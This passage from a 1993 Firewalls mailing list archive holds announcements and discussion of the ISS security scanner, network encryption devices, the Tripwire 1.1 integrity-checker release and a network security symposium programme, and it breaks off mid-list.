X-Mailer: ELM [version 2.3 PL0] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I have been putting much developement time into ISS (Internet Security Scanner) and plan on going commercial with it. It will be available in binary format for SunOs, Solaris, Ultrix, AIX, HPUX, and other various Unix platforms depending on the demand. Right now, I have added many features that make ISS more functionable for system administrators to work with, as far as a lot more flexible ip-address range scanning, specifying lists of hosts to probe, and making the output more flexible with a verbosity flag. ISS also has many more security checks, looking for defaults and other popular services that intruders like to exploit. I am currently working on more security vulnerability checks and adding scripting to make it even more easier to routinely check the integrity of your hosts on your network. If you would like to preview a test version of ISS, I am keeping a binary version for Sun4, HP-UX, AIX, and Ultrix available and will be making other Unix platforms available as soon as I am able to get the resources to compile versions for other Unixes. It is on anonymous FTP shadow.net /pub/ISS. Some administrators have replied saying they can not by company policy be allowed to run any binary from the Internet. I understand that. I do suggest that you still pick up a copy to atleast read the manual and see what it does check for and maybe convince management that ISS is needed to check the integrity of your systems. Also, you may check what a program is doing by running "trace" on it. ISS is definitely an administrator's tool for making sure their machines on their network are secure. ISS, not limited to machines that are directly connected to Internet, is highly recommended to check machines that are behind firewall routers as well. ISS is a project I started when I visited Lawrence Livermore (to work and learn on supercomputers) two summers ago when I realized that a security probing utility was needed. After releasing a beta-copy, I was overwhelmed with positive responses from all parts of government, military, business sector and educational institutions with replies telling me how ISS has found many insecure machines on their networks. I hope to see ISS help bring the ground floor of Internet's security up to a decent level, so that no intruder will not be able to get into your network. I would appreciate any feedback, comments, suggestions that come to mind. For the next two weeks, I will be out of town though on a vacation I need and I will be back the first week of January. Sincerely, Christopher Klaus (p.s. The UeberAdmin paper was not meant to be taken literal and it was definitely not intended to berate system administrators and talented programmers. It was meant to make fun of the new breed of Uebercrackers who barely know Unix, but are armed with scripts to get root on your machines. I hope I did not offend anyone with it. ) -- Christopher William Klaus Email: cklaus@shadow.net Author:Inet Sec. Scanner 2209 Summit Place Drive,Dunwoody, GA 30350-2430. (404)206-1513. From Firewalls-Owner@GreatCircle.COM Fri Dec 17 16:00:59 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA02008; Fri, 17 Dec 93 16:00:59 GMT Received: from enfm.utcc (enfm.utcc.utoronto.ca) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA02001; Fri, 17 Dec 93 08:00:42 PST Received: from stcgate.statcan.ca ([142.206.192.1]) by enfm.utcc.utoronto.ca with SMTP id <41126>; Fri, 17 Dec 1993 11:01:18 -0500 Received: from mr3mcc.statcan.ca by stcgate.statcan.ca id aa27046; 17 Dec 93 10:54 EST Subject: IP Level Encryption Devices To: firewalls@greatcircle.com Date: Fri, 17 Dec 1993 11:18:51 -0500 From: Cynthia McShane X-Mailer: ELM [version 2.4 PL13] Content-Type: text Content-Length: 1267 Message-Id: <9312171118.aa10770@mr3mcc.statcan.ca> Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Our organization is looking for ip-level packet encryption/decryption devices that run at ethernet speeds. To clarify, when I say ip-level I mean that the contents of the packets are encrypted while the ip address portions are not. We currently have a routed ethernet network with an FDDI backbone. The net is physically secure from the outside world, however some of our clients require an enhanced level of privacy. We are hoping to selectively encrypt/decrypt packets between these clients at their source and destination points, while using our regular-old-routers to make sure that the packets actually get there. Since the equipment will be "dropped" into a production environment, site references would be greatly appreciated. -------------------------------------------------------------------------- Cindy McShane | One of the problems with being a tech support mcshcyn@statcan.ca | person is that you may end up with your productive V: (613) 951-6709 | time broken up into about fifty two-minute blocks | over the course of a day, which does weird things | to your personality after a while. | Tonya Engst, TidBITS#145/05-Oct-92 -------------------------------------------------------------------------- From Firewalls-Owner@GreatCircle.COM Fri Dec 17 19:00:41 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA02397; Fri, 17 Dec 93 19:00:41 GMT Received: from magnolia.Stanford.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA02390; Fri, 17 Dec 93 11:00:34 PST Received: by magnolia.Stanford.EDU (4.1/inc-1.0) id AA15726; Fri, 17 Dec 93 11:00:35 PST Message-Id: <9312171900.AA15726@magnolia.Stanford.EDU> To: Christopher Klaus Cc: firewalls@greatcircle.com Subject: Re: ISS update. In-Reply-To: Your message of "Thu, 16 Dec 1993 23:53:05 EST." <199312170453.XAA14285@shadow.net> Reply-To: cjw@barrnet.net Office: Spruce Hall F13A; 415-725-5481 Date: Fri, 17 Dec 1993 11:00:34 -0800 From: Cathy Wittbrodt Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Chris, When I exchanged mail with you about buying ISS for some work that I am doing for our members, you said that you would be hard coding in the addresses that one was allowed to scan. (the network numbers that I have assigned to me). If that is still the case, then how are you going to enforce that for the versions that will be for available on the platforms described in your recent message? Thanks, ---Cathy ------------------------------------------------------------------ Cathy Wittbrodt BARRNet Engineering Mail: Pine Hall 115, Stanford University, Stanford, CA, 94305-4122 Phone: 415-725-5481 "I only went out for a walk, and finally concluded to stay out till sundown, for going out, I found, was really going in." - John Muir 1913 From Firewalls-Owner@GreatCircle.COM Fri Dec 17 19:21:51 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA02463; Fri, 17 Dec 93 19:21:51 GMT Received: from BITNIC.EDUCOM.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA02456; Fri, 17 Dec 93 11:21:35 PST Received: from BITNIC.EDUCOM.EDU by BITNIC.EDUCOM.EDU (IBM VM SMTP V2R2) with BSMTP id 4295; Fri, 17 Dec 93 14:23:59 EST Received: from BITNIC.EDUCOM.EDU (NJE origin NETMAINE@BITNIC) by BITNIC.EDUCOM.EDU (LMail V1.1d/1.7f) with RFC822 id 4294; Fri, 17 Dec 1993 14:23:57 -0500 Subject: Re: IP level encryption devices To: Firewalls mailing list From: "Andrew T. Robinson" Date: Fri, 17 Dec 93 14:21:15 EST Message-Id: Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I've been trying to keep track of this stuff... Here is my summary: SUMMARY OF NETWORK ENCRYPTION PLATFORMS | REVISION 2, 17 DECEMBER 1993 | Disclaimers ----------- No warranty is expressed or implied as to the accuracy of the information in this summary. This summary has not been rigorously researched--please contact the manufacturer(s) for complete and accurate details. This is in no way intended to be a complete list. It is a compilation of responses to a query posted to various Internet network-security-oriented lists and newsgroups. Neither I nor netMAINE have any interest in or affiliation with any of the companies whose products are described below. Those things being said, I believe and intend this summary to be an accurate representation of the information I received in reply | to my queries. If you find any errors or omissions, PLEASE | CONTACT ME so I can correct the summary (see contact information | below). Breaking Encryption ------------------- Modern encryption schemes are very difficult to break, but they can be broken by iteration or other techniques. The following figures represent the times to break 40 and 64 bit encryption keys: 40 bit key (maximum allowed for export from U.S.) * 1 486 PC would take three (3) years. * 1,300 486 PCs in parallel would take one (1) day. 64 bit key (typical for domestic implementations) * 1 486 PC would take sixty million (60,000,000) years * 20 billion 486 PCs in parallel would take one (1) day Source: RSA Data Security Encryption Platforms -------------------- 1. LANGuardian, UUNET Technologies, 703-204-8000, $6000/unit - Dedicated platform - "Splices" between external gateway/router and local network - Selective encryption/decryption based on destination/origin - Out-of-band (diskette, dialup) key exchanges - One unit required for each secure endpoint 2. Various, Semaphore Communications (Xerox), 408-980-7767 Call and ask for Cliff Reeser. Semaphore has a variety of products | including: | | - Encryption unit--workgroup (NEU-WG, 15 stations: $3995) | - Encryption unit--frame relay (NEU-ST, 1Q94, $6995) | - Encryption unit--router (NEU-RT, 2Q94, $6695) | - Encryption unit--PC (NEU-PC, 4Q94, ?????) | - Network security center (NSC, $7495-16750) | * ALL ENCRYPTION UNITS ARE MANAGED BY THE NSC (you have to buy | at least the software). NSC runs under OS/2 [As far as I'm | concerned this is great--other aren't so pleased by the choice] | The software only is $7495. The software pre-installed on | a hardware platform (486/66, NSC, 16Mb RAM, NEU-WG, NIC, | SVGA monitor, 540 Mb SCSI HD, SCSI tape drive, OS/2, PC/TCP, | etc.) for $16750. | | * NEU-WGs protect small workgroups and are essentially | encrypting concentrators. | | * NEU-PCs protect individual workstations and are inserted | between the workstation and the LAN. | | * NEU-ST protects frame-relay WAN links and is inserted | between the router and the CSU/DSU. | | * NEU-RT protects any WAN link, and is inserted between | the LAN and the router. | | * One NEU-ST or NEU-RT is required for each secure endpoint. | | * The NSC performs secure key changes for practically any | number of NEUs using RSA public key encryption. These | changes can be performed automatically at specified intervals. | | * The NSC also provides monitoring and logging capabilities | and (apparently) rules-based access controls to all network | resources--all with a menu-driven GUI. | | * NSCs and NEUs are protected by encrypted "key-like devices" | (called datakeys) and passwords. 3. Interlock, Advanced Network and Services (ANS), 313-663-2927 Comprehensive application-level security including per-connection challenge/response authorization and encryption, along with rules-based access controls. I believe that Interlock is based on the Semaphore NSC (Network Security Center) but I'm not sure. Contact Information ------------------- Please contact me at one of the addresses below with questions, new information, or errata. ELECTRONIC MAIL: netmaine@ansremote.com VOICE: 207 780.NET1 (780.6381) POSTAL MAIL: Andy Robinson netMAINE PO Box 8258 Portland, ME 04104-8258 From Firewalls-Owner@GreatCircle.COM Fri Dec 17 22:52:59 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA03223; Fri, 17 Dec 93 22:52:59 GMT Received: from shadow.net (anshar.shadow.net) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA03216; Fri, 17 Dec 93 14:52:50 PST Received: from localhost (cklaus@localhost) by shadow.net (8.6.4/jc-1.0) id RAA19165; Fri, 17 Dec 1993 17:54:39 -0500 From: Christopher Klaus Message-Id: <199312172254.RAA19165@shadow.net> Subject: Re: ISS update. To: cjw@barrnet.net Date: Fri, 17 Dec 93 17:54:38 EST Cc: firewalls@greatcircle.com In-Reply-To: <9312171900.AA15726@magnolia.Stanford.EDU>; from "Cathy Wittbrodt" at Dec 17, 93 11:00 am X-Mailer: ELM [version 2.3 PL0] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > > > Chris, > > When I exchanged mail with you about buying ISS for some work that I > am doing for our members, you said that you would be hard coding in > the addresses that one was allowed to scan. (the network numbers that I > have assigned to me). If that is still the case, then how are you > going to enforce that for the versions that will be for available on > the platforms described in your recent message? Yes, in my package I tell people that the registered version will have unlimited time and restricted to scan only the networks owned by that organization. This ensures that if someone is able to get a hold of ISS from that company , that the company isn't liable because someone scanned other organizations since ISS is limited to that company's networks. This is test version I am releasing. It is intended to let admins to have a good look at their network for holes and also see how well ISS works. It also hopefully will let admins send me comments, suggestions, direction for ISS. In good faith, I am releasing a test-version, hoping no one abuses it, in that they dont scan other organization's networks, or try to 'crack' ISS so it works past January. I dont think restricting ip-address will be a problem since most companies arent interested in intruding on other's networks. :) And it also ensures some control on ISS and the company doesn't need to worry about an employee trying to poke around other companies, other than their own. If this is a problem, email me directly and not to a mailing list where most people dont care. If others do, they can email me directly as well. I will be out till the First week of January. Going on a needed vacation. Thanks Chris -- Christopher William Klaus Email: cklaus@shadow.net Author:Inet Sec. Scanner 2209 Summit Place Drive,Dunwoody, GA 30350-2430. (404)206-1513. From Firewalls-Owner@GreatCircle.COM Sat Dec 18 08:12:51 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA04850; Sat, 18 Dec 93 08:12:51 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA04838; Sat, 18 Dec 93 00:12:44 PST Message-Id: <9312180812.AA04838@mycroft.GreatCircle.COM> To: Firewalls@GreatCircle.COM Subject: Internet Security Firewalls tutorial Date: Sat, 18 Dec 1993 00:12:43 -0800 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk By popular demand, I'm taking my Internet Security Firewalls tutorial on the road in 1994. The first presentation of the tutorial is scheduled for 17 February 1994, in San Jose, CA; more dates in other locations will be added soon. The Internet Security Firewalls tutorial is a one-day introduction to the design, construction, and operation of Internet firewall security systems. Full information about the tutorial, including a registration form, is available for anonymous FTP from FTP.GreatCircle.COM, directory "pub/greatcircle", files "firewalls_tutorial.ps.Z" (PostScript) and "firewalls_tutorial.txt.Z" (ASCII text). I intend to add more dates in other locations on a regular basis. If you'd like to see one in your area, and you think there's sufficient local interest, let me know; it only takes about a dozen students to make it worthwhile. New dates will be announced to the GCA-Announce@GreatCircle.COM mailing list; to subscribe to this list, send "subscribe gca-announce" in the body of a message (not the "Subject:" line) to "Majordomo@GreatCircle.COM". The tutorial is also available for private presentation to your organization. For further information, contact: Great Circle Associates 1057 West Dana Street Mountain View, CA 94041 Phone: +1 415 962 0841 FAX: +1 415 962 0842 Email: Tutorial-Info@GreatCircle.COM -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner@GreatCircle.COM Sun Dec 19 06:37:55 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA08364; Sun, 19 Dec 93 06:37:55 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA08356; Sat, 18 Dec 93 22:37:48 PST Message-Id: <9312190637.AA08356@mycroft.GreatCircle.COM> To: Firewalls@GreatCircle.COM Cc: kh3@cu.nih.gov Subject: [KH3@CU.NIH.GOV: New GAO report on Communications Privacy] Date: Sat, 18 Dec 1993 22:37:46 -0800 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I don't remember if I forwarded this to Firewalls already or not. Apologies for the duplication if I have, apologies for the delay if I haven't. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 ------- Forwarded Message Return-Path: KH3@CU.NIH.GOV Return-Path: Received: from CU.NIH.GOV by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA09126; Fri, 3 Dec 93 13:15:06 PST Message-Id: <9312032115.AA09126@mycroft.GreatCircle.COM> To: brent@greatcircle.com From: KH3@CU.NIH.GOV Date: Fri, 03 Dec 1993 16:14:01 EST Subject: New GAO report on Communications Privacy Acknowledge-To: KH3@NIHCU.BITNET X-Acknowledge-To: KH3@NIHCU.BITNET Brent, I do not know if you received this so I will resend it: GAO recently issued a report "Communications Privacy: Federal Policy and Actions", GAO/OSI-94-2, dated November 4, 1993, that may be of interest to members of your group. The report focused on the following issues: --The need for information privacy in computer and communications systems--through such means as encryption, or conversion of clear text to an unreadable form--to mitigate the threat of economic espionage to U.S. industry; --federal agency authority to develop cryptographic standards for the protection of sensitive, unclassified information and the actions and policies of the National Security Agency (NSA), Department of Defense, and of the National Institute of Standards and Technology (NI ST), Department of Commerce, regarding the selection of federal cryptographic standards; --roles, actions, and policies of NSA and the Department of State related to export controls for products with encryption capabilities and industry rationale for requesting liberalization of such controls; and --the Federal Bureau of Investigation's (FBI) legislative proposal regarding telephone systems that use digital communications technology. I have placed an electronic version of the report named OSI-94-2.TXT in the GAO-REPORTS anonymous FTP directory at NIH (ftp.cu.nih.gov). Joe Sokalski, GAO--Los Angeles kh3@cu.nih.gov ------- End of Forwarded Message From Firewalls-Owner@GreatCircle.COM Mon Dec 20 03:19:04 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA13959; Mon, 20 Dec 93 03:19:04 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA13680; Sun, 19 Dec 93 18:34:07 PST Resent-Message-Id: <9312200234.AA13680@mycroft.GreatCircle.COM> Received: from usenix.ORG by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA01129; Wed, 15 Dec 93 16:35:27 PST Received: by usenix.ORG (4.1/1.29-emg890317) id AA07154; Wed, 15 Dec 93 16:32:21 PST Received: from arthur.cs.purdue.edu by usenix.ORG (4.1/1.29-emg890317) id AA07147; Wed, 15 Dec 93 16:32:14 PST Received: from localhost (spaf@localhost) by arthur.cs.purdue.edu (8.6.4/PURDUE_CS-1.3) id for sage-security@usenix.org; Wed, 15 Dec 1993 19:31:57 -0500 Date: Wed, 15 Dec 1993 19:31:57 -0500 Message-Id: <199312160031.TAA04320@arthur.cs.purdue.edu> To: Interested parties From: Gene Kim , Gene Spafford Subject: Tripwire Version 1.1 released Reply-To: spaf@cs.purdue.edu Organization: COAST Resent-To: Firewalls@GreatCircle.COM Resent-Date: Sun, 19 Dec 1993 18:34:06 -0800 Resent-From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Announcing the release of version 1.1 of Tripwire! This version supersedes all previous versions of Tripwire. Version 1.1 includes many new features, small performance improvements, and several bug fixes. This version also comes complete with a rationale/design document (finally!). Version 1.1 of Tripwire is probably the final release of Tripwire for some time to come. We have not heard any new bug reports or suggestions for new features in some time, so there is little "outside reason" to modify the program. Gene Kim is graduating and moving on to graduate school elsewhere, so there is also little "internal reason" to continue to tinker with the code. Enclosed below is a brief description of what Tripwire is, a description of how to get a copy of the source code, and a list of new features added since the Version 1.0.5 release. We greatly appreciate the time and effort expended by all the people who beta-tested various versions of Tripwire over the last year. Without the contributions and reports of these people, we are certain that the package would not be as complete as it is currently. We have tried to acknowledge all our testers and contributors in the documentation and Changlog file in this distribution; our sincere apologies if we forgot anyone. Also, our thanks to COAST sponsors and sponsors of COAST research projects who helped fund this project, directly or indirectly. This includes especially Bell Northern Research, Trident Data Systems and the US Air Force. (Be sure to read the COAST.info file!) 15 December 1993 Gene Kim Gene Spafford What is Tripwire? ----------------- Tripwire is an integrity-monitor for Unix systems. It uses several checksum/message-digest/secure-hash/signature routines to detect changes to files, as well as monitoring selected items of system-maintained information. The system also monitors for changes in permissions, links, and sizes of files and directories. It can be made to detect additions or deletions of files from watched directories. The configuration of Tripwire is such that the system/security administrator can easily specify files and directories to be monitored or to be excluded from monitoring, and to specify files which are allowed limited changes without generating a warning. Tripwire can also be configured with customized signature routines for site-specific checks. Tripwire, once installed on a clean system, can detect changes from intruder activity, unauthorized modification of files to introduce backdoor or logic-bomb code, and virus activity (if any were to exist) in the Unix environment. Tripwire is provided as source code with documentation. The system, as delivered, performs no changes to system files and does not require root privilege to run (in the general case). The code has been extensively tested at many sites. Tripwire should work on almost any version of Unix, from Xenix on 80386-based machines to Cray and ETA-10 supercomputers. Tripwire may be used without charge, but it may not be sold or modified for sale. Tripwire was written as a project under the auspices of the COAST Project at Purdue University. The primary author was Gene Kim, with the aid and under the direction of Gene Spafford (COAST Director). Where to Get Tripwire --------------------- Copies of the Tripwire distribution may be ftp'd from ftp.cs.purdue.edu from the directory pub/spaf/COAST/Tripwire. The distribution is available as a compressed tar file, and as uncompressed shar kits. The shar kit form of Tripwire version 1.1 will also be posted to comp.sources.unix on the Usenet. A mailserver exists for distribution and to provide a means of reporting bugs. To use the mail server, send e-mail to "tripwire-request@cs.purdue.edu" with a message body consisting solely of the word "help". The server will respond with instructions on how to get sources, patches (if any are issued), and how to report a bug (which we hope doesn't happen!). Questions, comments, complaints, bugfixes, etc may be directed to: gkim@cs.purdue.edu (Gene Kim) spaf@cs.purdue.edu (Gene Spafford) Changes from Version 1.0.x to Version 1.1 ----------------------------------------- Version 1.1 considerably upgrades the functionality of Tripwire. All known bugs have been fixed, and many selected features have been added at the request of Tripwire users. Among the major changes are: - rewrite of the "-update" command. - addition of an "-interactive" command that prompts the user whether a changed file's database entry should be updated. - addition of a "-loosedir" command for quieter Tripwire runs. - support for monotonically growing files in tw.config. - addition of comprehensive test suite to test Tripwire functionalities. - hooks for external services (i.e., compression, encryption, networking) through "-cfd" and "-dfd" options. - addition of the new NIST SHA/SHS signature algorithm. - corrections and changes in the MD2, MD4, MD5, CRC32, and Snefru signature routines. - addition of a more rigorous signature test suite. - more error checking in tw.config @@directives. - siggen replaces sigfetch. - addition of a tw.config file for Solaris v2.2 (SVR4). - change of base-64 alphabet to conform to standards. - preprocessor macro fixes. New Tripwire database format: ============================= The Tripwire database format has changed slightly since v1.0, using a different base-64 alphabet. Use the twconvert program to convert v1.0 databases to v1.1 databases (located in the ./aux directory). Updating the Tripwire database: =============================== There has been a major rewrite/rethink of the "tripwire -update" command, as well as the addition of a "tripwire -interactive" command which allows the user to interactively select which database entries should be updated. No vestiges of the "-add" or "-delete" command remain, since the "-update" command now automatically deletes and adds files. However, the preferred way of keeping Tripwire databases in sync with the filesystems is using the "-interactive" command. A Tripwire session using Interactive mode might look like: 6:25am (flounder) tw/src 1006 %% tripwire -interactive ### Phase 1: Reading configuration file ### Phase 2: Generating file list ### Phase 3: Creating file information database ### Phase 4: Searching for inconsistencies ### ### Total files scanned: 49 ### Files added: 0 ### Files deleted: 0 ### Files changed: 49 ### ### After applying rules: ### Changes discarded: 47 ### Changes remaining: 2 ### changed: drwx------ genek 1024 May 3 06:25:37 1993 /homes/genek/research/tw/src changed: -rw------- genek 7978 May 3 06:24:19 1993 /homes/genek/research/tw/src/databases/tw.db_flounder.Eng.Sun.COM.old ### Phase 5: Generating observed/expected pairs for changed files ### ### Attr Observed (what it is) Expected (what it should be) ### =========== ============================= ============================= /homes/genek/research/tw/src st_mtime: Mon May 3 06:25:37 1993 Mon May 3 06:11:39 1993 st_ctime: Mon May 3 06:25:37 1993 Mon May 3 06:11:39 1993 ---> File: '/homes/genek/research/tw/src' ---> Update entry? [YN(y)nh?] y ### Updating database... ### ### Phase 1: Reading configuration file ### Phase 2: Generating file list ### Phase 3: Updating file information database ### ### Warning: Old database file will be moved to `tw.db_flounder.Eng.Sun.COM.old' ### in ./databases. ### 6:25am (flounder) tw/src 1007 %% Tripwire prompts the user whether the database entry of the current file should be updated to match the current file information. Pressing either 'y' or 'n' either updates the current file or skips to the next file. Pressing 'Y' or 'N' applies your answer to the entire entry. (I.e., if /etc is changed, typing 'Y' will not only update /etc, but it will also files update all the files in /etc.) Tripwire exit codes: ==================== Tripwire exit status can be interpreted by the following mask: 1: run-time error. aborted. 2: files added 4: files deleted 8: files changed For example, if Tripwire exits with status code 10, then files were found added and changed. (i.e., 8 + 2 = 10.) Tripwire quiet option: ====================== When run with -q option, Tripwire really is quiet, printing only one-line reports for each added, deleted, or changed file. The output is more suitable for parsing with awk or perl. Monotonically growing files: ============================ The ">" template is now supported in the tw.config files. This template allows files to grow without being reported. However, if the file is deleted or is smaller than the size recorded in the database, it is reported as changed. Loose directory checking: ========================= This option was prompted by complaints that Tripwire in Integrity Checking and Interactive mode unnecessarily complains about directories whose nlink, ctime, mtime, or size have changed. When Tripwire is run with the "-loosedir" option, directories automatically have these attributes included in their ignore-mask, thus quieting these complaints. Note that this is option is not enabled by default, making normal Tripwire behavior no different than previous releases. However, running with this option enabled considerably decreases "noise" in Tripwire reports. (Ideally, this "loose directory checking" should be offered on a per-file basis in the tw.config file. However, adding another field to the tw.config file was too extensive a change to be considered for this release. A later release of Tripwire may rectify this.) Hooks for external services: ============================ Tripwire now supports the "-cfd" and "-dfd" options that allow the user to specify an open file descriptor for reading the configuration file and database file, respectively. Using these options, an external program can feed Tripwire both input files through open file descriptors. This external program could supply services not provided though Tripwire, such as encryption, data compression, or a centralized network server. This program might do the following: Open the database and configuration files, process or decode (i.e., uncompress the file), and then write out the reguarly formatted file to a temporary file. Open file descriptors to these files are then passed to Tripwire by command-line arguments though execl(). An example of using a shell script to compress and encrypt your files is given in ./contrib/zcatcrypt. It is a four line Bourne shell script that encrypts and compresses the database and configuration files. It uses a named pipe (FIFO) to do this. SHA/SHS signature routines: =========================== Tripwire now includes SHA/SHS, the proposed NIST Digital Signature Standard. See the README file for details on this algorithm. Please note that the SHA code in ./sigs/sha seems to be poorly handled by many optimizing C compilers. For example, the stock C compiler included with SunOS 4.x takes almost two minutes to compile this file with the -O option on a Sparcstation10. Other compilers (such as GCC) do not have this problem. Change in tw.config preprocessor: ================================= The tw.config preprocessor has been changed to allow the proper expansion of @@variables in filenames. The following use of @@define now works as expected: @@define DOMAIN_NAME my_main_nis_domain /var/yp/@@DOMAIN_NAME L @@DOMAIN_NAME/FOO L (This is the third attempt at getting this working correctly. We finally fixed this by moving the macro expansion routines into the lexical analyzer.) Expanded test suite: ==================== The Tripwire test suite now includes runs a more standard signature test suite. This was prompted by discovery of several implementation errors in the MD2, MD4, and MD5 signature routines that was introduced right before the official release of Tripwire. (Thanks Eugene Zaustinsky.) Two more test suites have been added. One iterates through all the Tripwire reporting functionalities, and exercises all the database update cases. The other test suite checks for proper Tripwire preprocessor macro expansions. CRC32 changes: ============== Furthermore, the CRC32 signature routine is now POSIX 1003.2 compliant. (Thanks Dan Bernstein.) "siggen" replaces "sigfetch": ============================= As a tester noted, "sigfetch" was a misnomer as nothing was actually being fetched. Consequently, it was easy to (incorrectly) conclude that "sigfetch" retrieved signatures from the database. The "siggen" command is the current incarnation of "sigfetch". The manual pages reflect this change. Source code cleanup: ==================== The authors went through the sources, doing generic cleanups aid in code comprehension. Bug fixes: ========== This release fixes all known bugs. The TODO list, however, gives a wishlist of features that may be included in future releases. From Firewalls-Owner@GreatCircle.COM Mon Dec 20 19:20:57 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA18884; Mon, 20 Dec 93 19:20:57 GMT Received: from ocfmail.ocf.llnl.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA18877; Mon, 20 Dec 93 11:20:31 PST Received: from [134.9.250.226] (nessett.ocf.llnl.gov) by ocfmail.ocf.llnl.gov (4.1/SMI-4.0) id AA24267; Mon, 20 Dec 93 11:21:12 PST Message-Id: <9312201921.AA24267@ocfmail.ocf.llnl.gov> X-Sender: nessett@ocfmail.llnl.gov Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 20 Dec 1993 11:25:32 -0800 To: ietf-announce@ietf.cnri.reston.va.us, Firewalls@GreatCircle.com, isoc-interest@relay.sgi.com From: nessett@ocfmail.ocf.llnl.gov (Dan Nessett) Subject: 2nd Announcement - Symposium on Network and Distributed System Security Cc: nessett@ocfmail.ocf.llnl.gov Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk ISOC Symposium on Network and Distributed System Security --------------------------------------------------------- Program ------- Wednesday, February 2 6:00 P.M. - 8:00 P.M. Registration and Reception Thursday, February 3 7:30 A.M. Continental Breakfast 8:30 A.M. Opening Remarks 9:00 A.M. Session 1: Electronic Mail Security Chair: Steve Kent (BBN) Certified Electronic Mail, Alireza Bahreman (Bellcore) and Doug Tygar (Carnegie Mellon University), USA Privacy Enhanced Mail Modules for ELM, Selwyn Russell and Peter Craig, Queensland University of Technology, Australia Management of PEM Public Key Certificates Using X.500 Directory Service: Some Problems and Solutions, Terry Cheung, Lawrence Livermore National Laboratory, USA 10:30 A.M. Break 11:00 A.M. Session 2: Panel: Public Key Infrastructure, Santosh Chokhani (MITRE), Michael Roe (Cambridge University), Richard Ankney (Fischer, Intl.) Chair: Miles Smid (NIST) 12:30 P.M. Lunch 2:00 P.M. Session 3: Protocols Chair: Tom Berson (Anagram Labs) Paving the Road to Network Security, or The Value of Small Cobblestones, H. Orman, S. O'Malley, R. Schroeppel, and D. Schwartz, University of Arizona, USA A Complete Secure Transport Service in the Internet, Francisco Jordan and Manuel Medina, Polytechnical University of Catalunya, Spain 3:00 P.M. Break 3:30 P.M. Session 4: Internet Firewall Design and Implementation Chair: Jim Ellis (CERT) Inter-LAN Security and Trusted Routers, Pal Hoff, Norwegian Telecom Research, Norway Trusted to Untrusted Network Connectivity: Motorola Authenticatd Internet Access -- MANIAC(TM), Bill Wied, Motorola, USA BAfirewall: A Modern Firewall Design, Ravi Ganesan, Bell Atlantic, USA A Network Perimeter With Secure External Access, Frederick Avolio and Marcus Ranum, Trusted Information Systems, USA 7:00 P.M. Banquet Friday, February 4 7:30 A.M. Continental Breakfast 8:30 A.M. Session 5: Panel: All Along the Watchtower: Experiences and Firefights Managing Internet Firewalls, Bryan Boyle (Exxon Research), Brent Chapman (Great Circle Consulting), Bill Cheswick (AT&T Bell Labs), Allen Leibowitz (Warner-Lambert), Paul Vixie (Vixie Enterprises) Chair: Marcus Ranum (TIS) 10:00 A.M. Break 10:30 A.M. Session 6: Issues in Distributed System Security Chair: Cliff Neuman (USC-ISI) CA-Browsing System -- A Supporting Application for Global Security Services, Denis Trcek, Tomas Klobucar, Borka Jerman-Blazic, and Franc Bracun, Jozef Stefan Institute, Slovenia The X.509 Extended File System, Robert Smart, CSIRO Division of Information Technology, Australia Auditing in Distributed Systems, Shyh-Wei Luan (VDG, Inc.) and Robert Weisz (IBM Canada Laboratory), USA/Canada 12:00 Noon Lunch 1:30 P.M. Session 7: Authentication Chair: Dave Balenson (TIS) The S/KEY(tm) One-Time Password System, Neil Haller, Bellcore, USA A Technique for Remote Authentication, William Wulf, Alec Yasinsac, Katie Oliver, and Ramesh Peri, University of Virginia, USA Remote Kerberos Authentication for Distributed File Systems: As Applied to a DCE DFS-to-NFS File System Translator, Thomas Mistretta and William Sommerfeld, Hewlett-Packard, USA 3:00 P.M. Break 3:30 P.M. Session 8: Panel: IP Security Alternatives, K. Robert Glenn (NIST), Paul Lambert (Motorola), David Solo (BBN), James Zmuda (Hughes) Chair: Russell Housley (Xerox) PROGRAM CO-CHAIRS Russell Housley, Xerox Special Information Systems Robert Shirey, The MITRE Corporation GENERAL CHAIR Dan Nessett, Lawrence Livermore National Laboratory PROGRAM COMMITTEE Dave Balenson, Trusted Information Systems Tom Berson, Anagram Laboratories Matt Bishop, University of California, Davis Ed Cain, U.S. Defense Information Systems Agency Jim Ellis, CERT Coordination Center Steve Kent, Bolt, Beranek and Newman John Linn, OpenVision Technologies Clifford 